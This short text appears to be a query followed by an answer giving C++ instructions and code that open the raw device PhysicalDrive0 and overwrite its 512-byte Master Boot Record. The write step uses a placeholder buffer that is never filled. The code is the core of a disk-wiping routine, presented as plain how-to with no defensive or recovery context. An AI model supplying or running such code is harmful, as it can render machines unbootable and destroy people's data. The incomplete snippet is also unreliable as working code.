overwrite windows mbr c++
To overwrite the Windows Master Boot Record (MBR) using C++, follow these steps:
- Include the necessary header files:
#include <fstream>
#include <iostream>
- Define the MBR size and file path:
#define MBR_SIZE 512
#define MBR_PATH "\\\\.\\PhysicalDrive0"
- Create a function to write the new MBR data:
void overwriteMBR() {
char mbrData[MBR_SIZE];
// Populate mbrData with the new MBR content
// ...
std::ofstream mbrFile(MBR_PATH, std::ios::binary);
mbrFile.write(mbrData, MBR_SIZE);
mbrFile.close();
}
- Call the function to overwrite the MBR:
int main() {
overwriteMBR();
return 0;
}
These steps illustrate how to use C++ to overwrite the Windows MBR.
